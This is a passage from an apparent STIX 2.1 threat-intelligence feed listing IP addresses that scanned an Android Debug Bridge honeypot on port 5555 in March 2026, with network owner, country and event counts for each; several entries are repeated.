      "valid_from": "2026-03-27T05:00:04.000Z",
      "valid_until": "2026-04-28T05:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T04:02:17.000Z",
          "last_seen": "2026-03-27T04:03:50.421Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56048"
          ],
          "org": [
            "China Mobile Communicaitons Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=2; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-27T05:51:47.000Z | last_seen=2026-03-27T06:01:56.401Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.68.134.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:09.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-27T05:51:47.000Z",
          "last_seen": "2026-03-27T06:01:56.401Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-27T06:13:10.000Z | last_seen=2026-03-27T06:23:22.565Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:09.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-27T06:13:10.000Z",
          "last_seen": "2026-03-27T06:23:22.565Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T06:12:42.000Z | last_seen=2026-03-27T06:13:50.160Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--6517d458-7505-426d-b098-5a27587a962b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:09.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T06:12:42.000Z",
          "last_seen": "2026-03-27T06:13:50.160Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:09.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=ES; asn=12430; asn_org=Vodafone Spain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-27T06:18:39.000Z | last_seen=2026-03-27T06:37:00.725Z | ports=5555 | cc=ES | asn=12430 | org=Vodafone Spain",
      "id": "indicator--36916752-0011-477e-a118-e77178cb4c53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.224.79.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:09.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-27T06:18:39.000Z",
          "last_seen": "2026-03-27T06:37:00.725Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "12430"
          ],
          "org": [
            "Vodafone Spain"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=2; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-27T05:51:47.000Z | last_seen=2026-03-27T06:01:56.401Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--096a68c3-1166-477e-ba08-71caec8379f1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '138.68.134.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:10.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-27T05:51:47.000Z",
          "last_seen": "2026-03-27T06:01:56.401Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-27T06:13:10.000Z | last_seen=2026-03-27T06:23:22.565Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--e2279554-6d61-4a3a-a615-90ead5d02040",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:10.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-27T06:13:10.000Z",
          "last_seen": "2026-03-27T06:23:22.565Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T06:12:42.000Z | last_seen=2026-03-27T06:13:50.160Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--6517d458-7505-426d-b098-5a27587a962b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:10.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T06:12:42.000Z",
          "last_seen": "2026-03-27T06:13:50.160Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T07:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=ES; asn=12430; asn_org=Vodafone Spain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-27T06:18:39.000Z | last_seen=2026-03-27T06:37:00.725Z | ports=5555 | cc=ES | asn=12430 | org=Vodafone Spain",
      "id": "indicator--36916752-0011-477e-a118-e77178cb4c53",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.224.79.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T07:00:10.000Z",
      "valid_until": "2026-04-28T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-27T06:18:39.000Z",
          "last_seen": "2026-03-27T06:37:00.725Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "ES"
          ],
          "asn": [
            "12430"
          ],
          "org": [
            "Vodafone Spain"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=22295; asn_org=Advin Services LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-27T07:13:42.000Z | last_seen=2026-03-27T07:23:52.708Z | ports=5555 | cc=US | asn=22295 | org=Advin Services LLC",
      "id": "indicator--6ea81df4-8940-4e4a-86a2-561390fe320f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.248.80.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-27T07:13:42.000Z",
          "last_seen": "2026-03-27T07:23:52.708Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "22295"
          ],
          "org": [
            "Advin Services LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-27T07:02:32.000Z | last_seen=2026-03-27T07:14:17.356Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-27T07:02:32.000Z",
          "last_seen": "2026-03-27T07:14:17.356Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-27T07:01:09.000Z | last_seen=2026-03-27T07:11:26.091Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--daa6e983-5681-4f02-9d58-facde3810bf7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.247.225.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-27T07:01:09.000Z",
          "last_seen": "2026-03-27T07:11:26.091Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T07:00:51.000Z | last_seen=2026-03-27T07:01:57.715Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--05c2ce9d-5496-465f-8f7d-cdee3be3790e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '71.6.233.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T07:00:51.000Z",
          "last_seen": "2026-03-27T07:01:57.715Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=22295; asn_org=Advin Services LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-27T07:13:42.000Z | last_seen=2026-03-27T07:23:52.708Z | ports=5555 | cc=US | asn=22295 | org=Advin Services LLC",
      "id": "indicator--6ea81df4-8940-4e4a-86a2-561390fe320f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.248.80.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-27T07:13:42.000Z",
          "last_seen": "2026-03-27T07:23:52.708Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "22295"
          ],
          "org": [
            "Advin Services LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-27T07:02:32.000Z | last_seen=2026-03-27T07:14:17.356Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-27T07:02:32.000Z",
          "last_seen": "2026-03-27T07:14:17.356Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=10 | first_seen=2026-03-27T07:01:09.000Z | last_seen=2026-03-27T07:11:26.091Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--daa6e983-5681-4f02-9d58-facde3810bf7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '44.247.225.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 10,
          "first_seen": "2026-03-27T07:01:09.000Z",
          "last_seen": "2026-03-27T07:11:26.091Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T08:00:06.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-27T07:00:51.000Z | last_seen=2026-03-27T07:01:57.715Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--05c2ce9d-5496-465f-8f7d-cdee3be3790e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '71.6.233.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-27T08:00:06.000Z",
      "valid_until": "2026-04-28T08:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-27T07:00:51.000Z",
          "last_seen": "2026-03-27T07:01:57.715Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-27T11:00:06.000Z",
